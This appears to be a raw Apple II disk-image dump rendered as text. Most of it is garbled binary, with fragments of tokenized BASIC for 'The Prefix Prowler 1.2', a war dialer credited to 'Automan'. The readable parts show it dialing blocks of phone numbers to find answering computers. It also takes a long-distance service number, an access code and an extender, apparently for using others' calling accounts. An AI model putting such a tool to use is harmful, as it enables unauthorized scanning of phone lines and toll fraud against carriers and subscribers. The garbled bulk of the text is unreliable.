' +JJJJ ?\>m0M='+l> /+l  P˵B̵CõDĵEµµBD ĵ ⵭µ ۰ µL` B H@Aﳈ  @A ਦ@A LL$ 鷎귭෍ᷩ췩緈JJJJx i L8ᷭ緍췩 i 8 `巬 췌`x (`(8`I`B` ``>J>J>VU)?`8'x0|&HhHh VY)'&Y)xꪽ)' `Hh`V0^*^*>&` aI꽌ɪVɭ&Y&&Y& 꽌ɪ\8`&&꽌ɪɖ'*&%&,E'зЮ꽌ɪФ`+*xS&x'8*3Ixix&& 8  '  & x)*++`FG8`0($ p,&" ʎ L/ ɃL`  !"#$%&'()*+,-./0123456789:;<=>? ( 1 +".*$ (9"1 ( ,.(0# 2  /#0/#0 *?'#07#00/0/'#07#0:"4<*55/**5/*%5/)1/)1/)1/)'#0/#0*5/*75/**5/*:5//#0/#0'#07#0:::*::'#07#01)*#;?;/4>:(+02&<#)#0*Eb ;1h  !"`H !D)"E` @ $ C ` DQ &J80^݌Hh ü ü݌ ռ ռ ռA ļD ļ? ļAEDE?HJ>h Լ ռ ռ ռ`HJ>݌h Hh݌` ƥ LꢭɛL`HIHHHHhHH݌hHhHh݌H6 VDP (ED Z $0x8x D- ܸDD# H8`?E Vk *f???0xE Hh D#-EEE8` D ܸx D - ܸx8`-0ݩ?ʥD EEE`   d@ŵLҦL [` ~  LӜu`".Q`pNФbptťܥm2<(-Py0\޼e<6e<ԍ L}JJJJj귍hI  aUL@ kU8  L  Q^R(jQ0l^l\8õ浍õĵBD` L[W ԧ H h@ [_ /QSIR4b_L`LLLL`ª`LQLYLeLXLeLee ўQH\(h0L& $`( R \ZLl8 ўR HH\`\Z[YS6`LxQɿu3'RͲʎRʎ]]]ɍuL͟ɍ}RLRɍg^H8 ^hZLɍR LͲɊRR% QLܤͲ Z@ -^ ş\[Z QY\[Z8`l6Lş_Ȍb_Ͳ] )Y h( ֭ͲLɍ [LLĦ__ ^ 9 LҦ3 9 a   0LjLY u< (_9 ˭ɠuɠK_9 ?LˆʎõĵL õ ĵµ aµ`` L̦µ_bJLLz L^ ۰L^  ȟ QlXJ̥KlV  ȟ QlV eօ3L׮ʊHLQ &RL &QL d L4 Ne)n `@-eff LL f`L . tQLѤ LҦL` OPu d L Ne)noon 8ɍ` ^f\õL ^NR  RΩLҦ)\Z ʽ LHv 3h`0h8` [L NС õ`A@` ŵLȿõ` F`  \ 濭0 \  ȟ Q ^\lZl^?cqH şch`fhjõĵ@OAP`u@`@&`QR`E Ls  @DAE@u`8` %@ @A@`@`@A`Mµ ) LЦ`8@AWc@8@-@HAȑ@hHȑ@ȑ@hHȑ@Ȋ@ch8&ȑ@Hȑ@Ah@LHȑ@ȑ@ htphso`hMhL`9V8U897T6S67`INILOASAVRUCHAIDELETLOCUNLOCCLOSREAEXEWRITPOSITIOOPEAPPENRENAMCATALOMONOMOPRINMAXFILEFINBSAVBLOABRUTYP!pppp p p p p`" t""#x"p0p@p@@@p@!y q q t@  LANGUAGE NOT AVAILABLRANGE ERROWRITE PROTECTEEND OF DATFILE NOT FOUNVOLUME MISMATCI/O ERRODISK FULFILE LOCKESYNTAX ERRONO BUFFERS AVAILABLFILE TYPE MISMATCPROGRAM TOO LARGNOT DIRECT COMMANč$3>L[dmx-U@ˠϠ@跻~!Wo*9~~ɬƬ~~~_ j ʪHɪH`Lc (L ܫ㵮赎 ɱ^_ J QL_Ls贩紎 DǴҵԵƴѵӵµȴ 7 ַ :ŵƴѵǴҵȴµ納贍﵎ٵ്ᵭⳍڵL^ѵ-I `  4 ò-յ!  8صٵ紭ﵝ 7L (0+BC  7L HH`LgL{0 HH` õL ꝍ ŤL{ BH [ h`Lo õ ڬL ꝍ ŤL~H hB@ յյ [L (ȴ) ȴ 7L L ( L (ȴL{ƴѵ洩ƴǴҵ 7 ^* B0 HȱBh ӵԵ 8 L8 ݲ` ܫ  / / ED / / ]ƴS0Jȴ ȴ)  紅D贅E B ƴ  / 0L Ν `HD٤DEEhiHLGh ` ŵBѵ-` ѵB-` ܫ XI볩쳢8DH E𳈈췍Ȍ X0 · JLǵBȵC`,յp` 䯩 R-յյ`յ0` K R-յյ`ɵʵӵԵ` 4 K ( ѵҵLBȱBL8` DBHBH : ַ޵BȭߵBhhӵԵ RBܵmڵ޵ȱBݵm۵ߵ` 䯩LR˵̵ֵ׵`êĪLR E( 8` R` ELRŪƪ`췌 յյI뷭鷭  ˤLª 뷰` Lk ݵܵߵ޵ ^`8ܵ i B8` 9L%ֵȱB׵ ܯ䵍൭嵍 ` DȑB׵BֵO G굎뵎쵬 뵎쵌`` ַ յյ`@ +õm浍õĵL õBĵCصص Qƴ0"Bƴ 󮜳` 0۰ϬBƴ8`i#`ЗLw!0>ﵭ` m ﳐ 7i볍 8 ЉLw`H h ݲL~ `浍국䵍뵩嵠Jm赍嵊mjnnn浈m浍浭m䵍䵐`"L ŵ8ŵH ~(` F d֠ĭz # 3` 02۰Ϭ33B438`3i#`3ЗLw35!50>5555`53 /3m3 3 3733i35 3583 /35ЉLw35`H /5h 25L/~43 533`55555555J5m55m5jn5n5n555m5555m555`"L? 585H ~.(3` d ֠z#΍΍΍΍΍ҍ ٍ΍čč̠ŠЯקӍ΍źԠŠōĺ ٍ΍čč̠ŠЯקӍ΍ǍźԠŠōĺ ΍΍ԍԍ̠ŠЯקӍ΍ΠԠŠŠ͍ӍǍҍҍЍԍÍӍύύύԍ΍ύЍэҍӍԍՍ֍׍؍ٍڍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍ڷÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍ÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍÍčōƍǍȍɍʍˍ     ٍȍٍҍō͍ƍˍԍЍ̍ˍčˍčˍˍ΍Í׍ٍԍٍٍ͍̍΍΍΍΍ٍǍԍ΍͍΍č΍΍΍΍ōōɍȍٍٍٍȍٍ΍΍ōččōӍ͍΍Ǎԍ׍̍ōōӍ͍̍ԍč΍αٍ͍̍΍ٍ΍΍ٍٍ΍ٍٍٍٍō͍ōōٍٍ΍ōٍōȍҍٍōō΍ٍٍٍ̍ōٍԍҍҍҍҍٍٍٍٍٍٍٍƍǍȍ֍ōˍÍò؍Ѝԍˍ͍ÍōȍÍӸōɍ͍Ǎԍōōҍҍ̍ҍԍٍύٍٍȍҍЍҍЍҍ̍čЍÍčōƍǍȍɍʍˍ͍̍΍ύЍэҍӍԍՍ֍׍؍ٍڍčٍÍč׍ō΍ԍō΍ōˍٍҍԍō؍čӍύ΍ύӍԍԍύύ̍ɍ΍΍Ǎٍ̍ҍčˍč͍Ǎ͍ҍՍˍӍύōˍٍč󮍍箍ՠԠϠ͠΍٠堢٢ç䮍ɠРɠ客䠢Ԣ󺍍ӍӍԠ㮠à笠í򮠠ɠ䬠ӢӢӢ󺍍ӍӍӍӍ䬠󺍮ӺҠĺкЯ׾Ӎ堶РӢР宠堶堨蠢Ƣ迠Ȣ嬠堳蠢ӢӠ嬠Р󺍮ӺҠĺкƻӺľкЯ׾ӱӲ젲ƮƬƠР嬠ӱ嬠堢堢ԠԠĠЮ󮠠宠Ģ嬠䮠堢䬠堢ӱ䠢ӲкïҾӺźкЯ׾ӺĺкЯ׾ԠӠ嬠Р䮠󺍍Π婍庠΍亠΍庍󺍍кԠϠŠݍӺľ宠ɠР宠堢嬠堢ԠӢ宠䮠堢ԠӢŠϠĠĢ󮠠Рᬠ穠Ю箠嬠٠Ģ堢ĢĢ堢Š󮍍ɮ󺍭䮠Ԡ󮍍ҠӠčӠ䬠ǧ󮍍ԍɠР宠䬠ԠԠ䬠䮠宠ѬР宠Р欠ˠ嬠䮠Р殍Р䬠ݠ宍ݠ宠Р嬠ݠ箍ݠ㮠󮠠䮠堢Ġ殍ݺ堲蠭Р뮠䩮ݮР堢Ŀ󺍍ݺݠ堢ĿР宠宍РŠӍ嬠󮠠ݠ宠嬠ݠ宠ŠР堢ԠԠĠ٠ĠĠŠӠԠȠԭĠŮŠٿݠ嬠䮍ǠĠҠӠҠΠŠҠƠӠΠŠԠŬР󮠠欠堢ˠԠԢӠįҠŠԠĬ堢úЧ宠䮠󩮠䬠򮠠Р䬠Ӻ宍ˠԠԍ묠󮠠嬠 򠳰䬠 򠱲à󮠠Ѡà宠㮠堢Šú򠿠ᠯ㩠Ӭ󮠠嬠䮍̠ōà󮠠ŠӍ宍Ԡ͠Ӎ򮠠󮠠ݠݠ讍䮠ɠݠנŠҮ򮠠򮍍ݠݠݠݠݠ򮍠ŠҠӺ堼䠾䩠ݠ䮍ݠԠĠō󮠠󮠠Ġݠݠݮ󮮮堠嬠箠笠Ӡ멮Р󮍍ԠԠĠР䮠䠲蠲ŠŠΠӿݬР宠Р宍РԠĠР䬠嬠ɠ䮠宠Р󩠵ŠϠԠҠĠנźӠ٠ө嬠䮠嬠򮠠嬠٠ĢŢǢŠŠϠĠĠΠԠԠŠԮ䮠嬠箠堰嬠Р嬠堰РŠСՠΧԠǠӠҠҠȮ󺠠ԠϠź堢ȠΠĠנϠŢРϠ٠ӬŠǠҠӮ򠱰嬠򠰬Р좴򠴠󮍍箮٠ŠԠî宠箠嬠嬠ӠҠź砢Š٠ĮƠנӠŠԿ󮠠Р嬠堳嬠Š٠ĢŠ٢Ģ宍ȠΠĠנϠź󮍍堼ƾ렢ŠŠϠĠĢ嬠䮠ҠŠͧӠĠĠŠΠŠš堼ƾ䮠嬠Ԫ堼ƾ䮠宍ԡРϠŠԠР䮠Ϡ򮍍ۻݠРàԠ䮠Р堾ԼРРө宠Р󠢼Я׾󠢼ľźРà宠ݠР󮍍ݠ򮍍ݠ򮍠笠ЧŠҠӺ宍ݠЯӠ󮍍ݠЯӠ󮍍ݠ󮠠ᬠ宠嬠ӠРԠԬ嬠堢ҠĺӠ堵Р堶堢Я׾堶о׾䩍堢ïҾ堲堳Рө䠢ҠźРɮͮĢ場Р򮩍堰Рɠ報Рө堲РҠԍ庠󮠠쮩宠墠庠ɮͮč亠Ǎ庠ɮͮč亠Ӎ庠ɮͮč亠ō䬠宮箮ҠĺкЯ׾Р󺍍ԠحٍԍΠ庠ɮͮč亠ŠЧ󮠠󺍍кԠϠŠݍӺľкïҾӺҠźкɮͮčӺ堭ĠŠŠ묠ԠŠ󮍍Ԡō멠Рɠ箠箠䠢̠ŠЯקӢԠӢӱ䠢ӲŠĠōòб䠢̢ŠŠō堨䮩ĠĠō宠䬠宠ݠ庠󮠠庠Ԫ宠堪ŪĠŠō宠򮠠󮠠嬠쮍ɮ󍭭󮠠򮠠󮠠򮠠󡠠箠墬䢻䮠䩠宠嬠婬䬠󮠠嬠󠨮󮮮󮮮䮠󠭠宠󮠠󮠠䠭ɠ٠ĠԠՠŠҠҠΠӠîɮЩ򾭭ߠߠߠߠߠߠߍܠܠܠܠܠ߯߯ߠߠܠߡܠ߯΍߯ܯܠܯܠܠܠܯܯܠܠܠܯܠܠܠܯܯܠܠܠܠܠܠ南ܠ                                                      ՠԠϠ͠΍堧ǧ䩍󮍍宍堨積Ѻ堨䩍Ǻ堲Ժ򮍍ŠӺ堿ݮŠ堿κ宍Һ򮠠󮠠ɠ󮠠婠Ӡݠ栢ҠƠӠΠŢǠŢǠŢ䠢ҠҠΠϠԠҢԠЭܠߠ߯߯ߠܠΠܠߠ߯߯ߠߠߠߠߠߠܗ򠠠Šߠߠߠߠܠܠ      䬠䮍箍ՠԠϠ͠΍堨䩍Ǻ堲Ժ堧ǧ䩍ݮ䠪Ū堿κҺ積堧Χ堧ΧŠӺ堿󮠠䬠󮠠䬠Π٢Ҡοݠ箍䠢Կ堧٧򮍍󮠠䠲󮠠宍ҠƠӠҠҢﬠݠ󮠠栲ȠŠǢ렭Ԡ٠ŠԠҠϠ̡䬠Կ堧Χ젢ԠƠ͢蠢ŠϠԠǠҠ뮠堢ǠҢ栲󮠠根嬠젹笠Ԯ笠͠ǠˠȢ廠宠栲堨󮢠䬠䮍䮠󢩠姮嬠䮠宠ᠧ󮠠㮩ɠ宮ԠҠ͢Ң箩򮮮ᠧ宠󮠠Π宩箮ǠҢǠҢ򮍍ǠŢ嬠Ԧԩ렢٠ŠǠŢ宠٠ҠŢ堨箠Ӡ򠱸宠宠ӠͿɠ婍ŠΠҿ嬠ݠ婍ԮŢ䮍󺍢ԠƠͿɠݠŠ宠Π嬠䮠嬠宠䮠Π嬠ݠ嬠䠢墮䮠󮠠Πߠܠ߯Ҡߠܠ߯ؠߗ򠠠堠               ՠԠϠ͠΍ˮǮ®ɠɠΠ堸ɠ䠪Ҫﮮ荠վɠ宍䮠٩䮍㬠ɠ󮍍󮠠ɠ嬠򮠠䬠󮠠쬠嬠嬠󮠠宠Ԡ͠Ӯ䮠ɠ󮠠宠宠䮠ɠàɠ䠨é堯àɠ󮠠謠ɠ䠨堯嬠䮍ɠ󮠠忠򮠠嬠쮍纠𿠠򮠠ɠ򮠠䮩Ӭ墠橬ծӮ󮠠忠󢬠鍗܍܍܍󡍍뿠堢܍܍܍܍܍܍¯㺺܍܍܍܍܍܍܍󺺺܍܍󺺺܍܍뗯܍܍܍¯܍܍܍     8@@L!@i@@@@`,,ɠL!dS LD`ōcզ^֦_צ`Lզ֦צA\ސ A]Aɗސɍɠ ߐސ\mA \ uL, u\L,] 8ɗ ɍ \ސ\A֩A`A] 8 A^զ_֦`צ  Bhh`=,Ɉ$ɕ ɛɠ7L!@  0:LE0:":DE0:LN0:L00:A0:LE0:ĺ"";:6808*(A$)32ĺ"^";((A$)64);:LNLN1:830A4A$;n>NU$NU$A$:(A$)16(NU$,1)A$LNLN3wH680R(NU$)0DE$""LE0ĺ"";:680\RFNU$DE$:880fLN(NU$));pRX:" ";:RXL01:" ";:N$"":DE$"":DE0:LN0:L00:A0/(NU$)0ĭ((NU$,1))32ĺ" ";:LNLN1^(NU$)1ĺ" ";:NU$(NU$,(NU$)1):680(NU$)1ĺ" ";:NU$"":680"";:680LE(A$"0"A$"9")ĺ"";:680 (A$)27LE1NU$A$:880LE(A$)32ĺ"";:680  (NU$)LN1z#бƠ ̮Ơ ԮРЮР̮РҠԮà  ...   ̠ŠЯקӮ ԠӮ ӱ  Ӳ ԠӮ òƠ " ˮӠ Ҡ îàЮà! îà Юàl ؠҠ)ŠҠ#РR    !Ҡ" ԠΠ ˰˱˲˳˴    ` ` `̠ŠîЮծ` ` ۸ݠ ` ` ` ` ` ` ` ` ` ` ` `        ˠϠ  ` ` ` ` ` ` ` ` ` ` ` ` ŠӠ ` `à` ` ` `Π٠` ` ՠԠϠ͠Π ` `` ر𗰟ӈ🀏𓜀󃌐ೖ󃰟엀蟀u` R𾀀Ǐ񠀐     ˠRԠfĠˠRҠf222Ϡf2Ϡf2Ϡf2ĠŠƠ2͡dd,0m,0nqmznmxqpopr s$wrtvtrЪs wrL`ȠRKԬf2ȠRԠfĠȠRf2Ŭ22ȠRKԬf2ȠRԠfĠԠR٠f2ɮdˠRKԬf2JEJJJNNL5L92L=LAL`M`L`M`,T,Se" Xxyzu0Yu LL X vwu ` u%Т" X`ysmnwrxqvt . n) h(`hh`,U ` ]LR,T@` ]ΌΎϩ`i Lm``((((PPPPKJ 5KKKLM`NM L-159=!%)-159="&*.26:>"&*.26:>#'+/37;?#'+/37;? $(,048< $(,048"&*.26:>#'+/37;?#'+/37;? $(,048< $(,048"&*.26:>#'+/37;?#'+/37;?      `HH)JJ h .,T `, })` @((((((((((((((((((((((((((((((((PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP $(,048< $(,048xpccG3fL0f C3|qqg 3 3` xyag Nꀂ֪ժժժժժժժժժꀈÀתժժժժժժժժժժժժժժժժժժժժժժժժժժժժժψÀÀݮܮ׎ܮܮ׎߮ܮ׎ժժծܮ׎ժժծܮ׎ժժծܮ׎ժժկܯ@ϟ@뀀뀈À՗՗࿠㿀תպܮܮժתպ㵀ܮܮժ㵠ݮܮ׎㵠ݮܮ׎㵠ݮܮ׎㵠ݮܮ׎*@ꋠꋠꋠՏՏꋠꋠ՗՗ꋠ՗՗ꋠ՗՗ꋠրրրրԀԀЀЀЀ9ԏԎԆЂЂݞ݆懸ݪ۪݀̀ՀޛՀ֋腀啸ຝ׀׀ւЏւЋނЊւЊ􂀀􆀀܂܂ЋԂЊЊЀ܂̀±က嬃ցߑă　πೖ󃰟엀蟀񿠏惰ȃ⃀胀߸˽۝ǃᨛǏ񠀐ر𗰟ӈ🀏𓜀󃌐 V𾀀̀σƁ灀恀ă　π܂񿠏惰ȃ⃀胀߸˽۝ǃ稛±࿑က      ??U*] *UU*~~   ÀU*@@@ @@@ @ o萠*U ????   #,*U  FFCg C~ ``~ЀU* nno?=x  |E*U |  ᑝb *U a33yxlLC~ @ Q A@xxU* CFfc00a@@  x1@`ap U* @qJJr   ŔЅ*U xL<`3 p   U* p@@ *U?K  qyq|    U*xxa3cs`@@@Cg~ А Ѕ*U񄁁 P4x \Xx`@@@ Cg~@!!!!@ *U o~p@NIE^|U| <`|f|a|px8| U*  y***j Lx@x ?s@@! #!A* a `p?`AA" ` *U`@ i? b"?U?`?0? 0@ @0 U*\p@&""~*~000?000*U)@ |p  'U*`` @`~y,*,(p |L| p`????(*U@ ``v<<OUO pyq Cs? x0xU*`-  h( @BFF  * bbjHo\c$GTPa%E*U  8%y(@N||N@@x|{[K[|x`px< #DU* 0 }}~EUUUUDUQDQ~ ! @ 8@U*6 cw6>8 0y z*"* :x~0:"**"a%E"<a"D@ #.@*U  p@(xx` @5ALGWG<UUU`c$G *(#$U*?px=]_peTdU*h(h('xxx ` ""<6?"""" " j ` PH `i *U ???? #DB$  `@QDUUr^\p3HH0U*||>x x @ 0(,*+Cjp6ǝ p ~B=mo|@Z6*U??NQQQcw @0XEDDEEUG=\Y\@V U**U@@@@@@$@`@3@U* `px|~~|xp@ xx@ `` @ (g *U`x`|=| @`X      @ *U@@@@$@`@3@U* `x|~xp@ xx@ `` @ (g *U``|=| @`X      ?   #, ??U*] *UU**U*U ~   ÀU*@@@ @@@ @ o萠*U ??? x1@`ap*U  FFCg C~ ``~U* nno?=x  |Ep| LRR  ᑝҖ*U a33yxlL t$$# ~ @ Q xU* CFfc00aꪪ x    U*   Յ *U xL<`3 p U* @@ !@@ *U?K  qyq|   U* a3cs`@@@Cg~ Ą *U&""~*~000?000 ~@!!!!@ *U o~p@NIE^|U| <`|f|a|8xp| U*  y***j Lx@x ?s`-#!A*  ?` !AA ` *U`@ i? b"?U?` 0@ @0 U*\p@*U)@ |p  |}}|}'U*`` @`~y,*,(p |L| p`????(*U@ ``v<<OUO pyq Cs x0xU*  8%%9  @BFF  * bbjHo\c$G"<CD*U   M @N||N@@x|{[K[|x`px< "J U*    }=^wUUUUDUQDQ~`!B @ 8@U*4cw z*"* :x~0:"**"CDa"D@ #.@*U   "" xx` @5ALGWG<UUU`b"J"<c$GU*?px=]_peTdU*<|h(h(' ` ""<6?"""" " j ` PH `i *U ?????  `@QDUUEr^\p3HH0U*||>x x @ 0(,*+Cjp6ǝ p ~B=mo|@Z6*U@pxx`?NQQQcw @0XEDDEEUG=\Y\@f *UU**U@@@@$@`@3@U* `x|~xp@ xx@ `` @ (g *U``|=| @`X @p@բ#PPP#/B38`@`0@ F8X  H` p E$|0|8F8xpHp@āĪ@@@0H$ "FOG" @p D"zB     U ????   #, ??U*/#*UE*U ~ IJJ1   ÀU* @@@ @@@ @ o萠*  x1@`ap*U  FFC, ~ ``~ЀU* nno?=G))G x |* p|   *U a33yxlLC~ @ ɠᡡ@xxU* CFfc00a@@x   U*    Д*U xL<`3 p  Uվs@@ @@ *U?K  qyq  U* a3cs~ ԔД*UĄ񄕐p@&""~*~000?000\Xx`@@@ Cg~@!!!!@ *U o~p@NIE^|U| <`|f||# 0x0| U*  y***j Lx@x *`-#!A* a `p?`A ` *U`@ i? b"?U?`?0? 2BA1 U*\*U)@ |p   m lm'U*`` @`~y,*,(p |L| p`??nmn~m??(*U@ ``v<<OUO pyq Cs? x0xU* cd @BFF  * bbjHo\c%E"<a%E*U  `d||@x|{[K[|x`px< #DU*  < }=^wUUUUDUQDQ~`!B @ 8@U*&@@@  @ cw y z*"* :x~0:"**"c$G"<QRD@ #.@*U  / ` /5ALGWG<UUU`#$ *( "U?px=]_peTdU*h(h('xxx ` ""<6?"""" " j ` PH `i *U ????   `@QDUUEr^\p3HH0U*||>x x @ 0(,*+Cjp6ǝ p ~B=mo|@Z6*U?NQQQcw @0XEDDEEUG=\Y\ A`"""I@D D@1a<2"< 𰨐ĀՈ#"""I@D D@1a<2"<$"gpA@`02؀Ī.$"gpA@`066LDFDL@ @p0@H((H բ9)(8)sRSRs$ @p0@H((H p|. A`ĀĀĀĀĀ񠤐ࠠFJFJJdDDDd# p|.Āǀ Ā㌘DՈT(KĀĀĀĀˀȠ ĪdD$dߚĪ8 ᰰL L󐐐ⷔ䔔Ѽ̀Պޕ쇈բJJNJJ ŀđđđđđėǓđđđĕф𘎃c333cࠠʪǂ̰Ո𰜎 cfffcĐϟϟϟ߿ǑđрĀnjŒΖḈբ༇؄ŕՀĀ熃ܟÁ Ѕ @𤎩ѽ GLLLА Ā䰙 ׏󞰀ĪxA ʣĐ¢ ǻ3!̄Ƃ谠葪Ā 䡐᪁ ˀf`f᠀￿Ոxߍׂ¡ſDБёՑԐࠀĪ Ǔ׺Ξ਀Ȅ:΂ТբޙđીԠբ XЪ߀ɈʠG```GKԐՑ=gcccשՀGLLLGGՈ``|fgf|̴펨Ԡ|L 2 ՈȲҙ𶑐bĪ@`Ͽ젃ڔЁ`000`Ra3s3cբЀت `cfg`g ЕՄЁՄąЄ Ā00x000` రՈրy砠ԗЀЀЀđЕđĪʢˠ>fբs1qผ "ՕՕՕԁՔՐԔЕхсБ  ฌ "SRR"D Ո$,4$$ 333ŐՔѕՄԀՅєđԀՔԔфĪL 𰘜ՅЅĐԄĪK բ0PD@ՀЄ ŁŅՑՅđāŕԀՑ0F4::7::"GENERATING RANDOM NUMBER SEED"::15:"PRESS ANY KEY"f>(16384)128ZQ(1):830tH16368,0R1:868:" ENTER RANDOM DIALING BLOCK LENGTH: ";:DE$BL$:LN2:3010:NU$BL$RM0\BL$NU$:BL(BL$):BL1BL99ĺ"";:850fINSS((N$,4))S14:"ENDING NUMBER-> [";PF$;"- ]";:35:S1:N$ES$:2870yES$N$:ES(N$):ESSSĺ"";:760 :6:958:"INCREMENT OR [R]ANDOM->";:DE$I$:LN2:LE1:3010:I$NU$I$"R"DR1:820 INC(I$):INC1ĺ"";:780*88-> ";:DE$WA$:LN4:LE1:3010:WA$NU$:WA$""Ė30:"LOCAL";:680n(WA$)100(WA$)1999WA$"":"";:660(AC$)4ĺ"":660:12:"STARTING NUMBER-> [XXX-XXXX]";:31N$SN$2870SN$""N$SN$RM0SN$N$ PF$(N$,3):0:CO$NU$qPR$"Y"640|v12:2:"DELAY BEFORE DIALING CODE-> SEC.";:29:LN2:DE$(D1):3010:(NU$)1ĺ"":630{D1(NU$)13:11:"DELAY AFTER CODE-> SEC.";:DE$(D2):LN2:29:3010:D2(NU$):@7:"WARDIALING AREA CODE" EXT. AREA CODE->";:DE$EA$:LN4:LE1:3010:EA$NU$:EA$""Ė30:"LOCAL ":610~X(EA$)100(EA$)1999EA$"":"";:590b8:2:"LONG DIST. SERVICE NUMBER-> [XXX-XXXX]";:31:N$LD$:LN7:2870:LD$N$ l4:10:"ACCESS CODE: ";:LN20:DE$CO$:301!SL$NU$:SL(SL$)r&5:3:"USE PROMETHEUS PROMODEM?->";:DE$PR$:LN1:LE1:3010:NU$"Y"NU$"N"ĺ"";:550~0PR$NU$:6:5:"USE AN EXTENDER? ->";:DE$EX$:LE1:LN1:3010:EX$NU$:EX$"Y"EX$"N"ĺ"";:570DEX$"N"650PN7:12:D$;"OPEN";DF$".PP"/D$;"WRITE";DF$".PP"60FD$;"CLOSE"ZSL$"0"SL$""216,0:::2:12);"MODEM PARAMETERS";12);:::34,213:4:"SLOT OF MODEM?->";:DE$SL$:LN1:LE1:3010:NU$(27)320(NU$)1(NU$)7ĺ"":510$(27)DF$"":3:958:350,DF$""5106450VD$;"UNLOCK";DF$".PP"",D"D%`2280i510(222)6Ģ17:5:"FILE NOT FOUND...CREATE? ";:A$:A$"Y"380(222)6Ģ19:16:"ERROR #";(222):13:"PRESS ANY KEY: ";:A$:380:"DRIVE ";D%;::2311(D%2)::"DRIVE ";D%(D%2)(D%1);^ h16384,128:A$:A$(13)380q mA$(27)2170 rD%1(D%1):350 |12:958:11:"ENTER DATA FILE NAME:";:13:13:"(.PP IS APPENDED)":15:10:LN20:LE1:DE$DF$:3010:DF$NU$DF"20"[ 6DL$"10":TS$"60":RD$"3": DELAY B/F DISCONNECT, TOUCH-TONE SPEED, # OF REDIALS ;SP$"Y": DEFAULT SPEAKER STATUS @:::11);"THE PREFIX PROWLER";41) J2:14);"LOAD DATA FILE";41)::34,1 TDRIVE SELECT< ^6:1211(D%2):115:2510: 255:HM) DEFAULTS < SL$"2": SLOTU PR$"N": PROMOTHEUSl EX$"N": EXTENDER EA$"":LD$"":D15:D22 WA$"": WAR-AREA CODE SN$"": STARTING NUMBER ES$"9999": ENDING SUFFIX "D%1 ,I$"1":INC1:BL$M A N":2570:13:13:A$"~~~~~~~~~~~~~":2570w 15:15:A$"PART I OF:":2570:17:10:A$"THE HAYES HACKAMATIC":2570 255:T4:I17141:I:2510: 200:M1:X29121:X:(C$,M,1);" "; MM1:M5M1 :T15:255 255:13:12:I76 <RN(100)+ FHM(175)(176)25652= PD$(13)(4)K ZSN$(200)W dV4:H1e nHM:2760 xT15:220::6:6:A$"AUTO'S AUTOMATIC WAR DIALER:":2570:8:11:A$"THE PREFIX PROWLER":2570- 10:15:A$"WRITTEN BY:":2570:12:13:A$"A U T O &B %%%%%%%%%%%%%%%%%%%%%%%% THE PREFIX PROWLER 1.2 %%%%%%%%%%%%%%%%%%%%%%%% WRITTEN BY: A U T O M A N %%%%%%%%%%%%%%%%%%%%%%%% (LIST THIS IN 80 COLUMNS  2245               բ.6"%B %L PUT FILE#%V 216,04%` DF$""2500>%j 1002X%t D$;"DELETE "DF$".PP"p%~ D$;"OPEN "DF$".PP"% D$;"WRITE "DF$".PP"% SL$:PR$:EX$:EX$"Y"ĺEA$:LD$:D1:D2% WA$:SN$:ES$:I$:INC:I$"R"ĺBL$% DL$:TS$:PR$"Y"ĺRD$;& DATA$D$;"OPEN "DF$".PP"6$D$;"READ "DF$".PP"M$ SL$:SL$"0"2360w$ PR$:EX$:EX$"Y"ĄEA$:LD$:D1:D2:$ WA$:SN$:ES$:I$:INC:I$"R"ĄBL$$$ DL$:TS$:PR$"Y"ĄRD$$. N:R1N:SN$(R)::I$"R"ĄRM:R1RM:RN(R):%8 D$;"CLOSE((16384)128):A$"Y"Ĺ16368,0:1002:7#2185Y#1002:D$;"BRUNHACK HELLO,D1"m#::16368,0:|#HANG UP#0#SL#100#"A":ZQ15:1940:ZQ:"+++";:ZQ15:1940:ZQ#"ATH"#1940#0#255:$READ FILENDOM BLOCK: ";"*SN$M"4DRĺ:"NUMBERS REMAINING IN CURRENT BLOCK: ";RM%U">:~"HC0Ė11:"NO COMPUTERS FOUND":2170"R12:"COMPUTERS FOUND:":"\I1C"f10);I;".";20);SN$(I)"p,#z::9:"QUIT THE PROWLER? (Y/N) ";:16384,128:A$SN$PF$"-":ZQX:I13:ZQ(10I)SN$SN$"0"7!II!SN$SN$(ZQ)`!DRRMRM%RMRN1!DRRMRM%BL%RN1:RM%0RM%0!2190!:21:958:HM:! 2380!DRĖ6:"LAST 